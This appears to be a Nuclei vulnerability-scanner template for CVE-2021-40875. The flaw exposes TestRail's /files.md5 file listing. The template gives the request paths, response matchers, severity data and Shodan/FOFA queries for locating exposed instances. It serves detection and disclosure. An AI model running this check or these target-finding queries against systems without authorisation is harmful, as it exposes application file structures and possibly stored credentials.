Improper access control in Gurock TestRail versions < 7.2.0.3014 resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths which can then be tested, and in some cases result in the disclosure of hardcoded credentials, API keys, or other sensitive data.
PoC代码[已公开]
id: CVE-2021-40875
info:
name: Gurock TestRail Application files.md5 Exposure
author: oscarintherocks
severity: high
description: Improper access control in Gurock TestRail versions < 7.2.0.3014 resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths which can then be tested, and in some cases result in the disclosure of hardcoded credentials, API keys, or other sensitive data.
impact: |
An attacker could use the exposed files.md5 to gain insight into the application's file structure and potentially identify vulnerabilities or sensitive information.
remediation: |
Securely restrict access to the files.md5 file and ensure that it is not accessible to unauthorized users.
reference:
- htttps://github.com/SakuraSamuraii/derailed
- https://johnjhacking.com/blog/cve-2021-40875/
- https://www.gurock.com/testrail/tour/enterprise-edition
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40875
- https://github.com/SakuraSamuraii/derailed
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40875
cwe-id: CWE-425
epss-score: 0.79877
epss-percentile: 0.99069
cpe: cpe:2.3:a:gurock:testrail:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: gurock
product: testrail
shodan-query:
- http.html:"TestRail"
- http.html:"testrail"
fofa-query: body="testrail"
tags: cve2021,cve,exposure,gurock,testrail
http:
- method: GET
path:
- "{{BaseURL}}/files.md5"
- "{{BaseURL}}/testrail/files.md5"
stop-at-first-match: true
max-size: 1000 # Define response size in bytes to read from server.
matchers-condition: and
matchers:
- type: word
part: body
words:
- "app/arguments/admin"
- type: status
status:
- 200
# digest: 4a0a00473045022100d252af0ac7f1ce0df87b0d3a8c8ab47ac565c480e96ee594fa2776bc6263124202205f88fc1cf109a565943348e7e6e3e954de8337a4699ca5e2223111e323d594c4:922c64590222798bb761d5b6d8e72950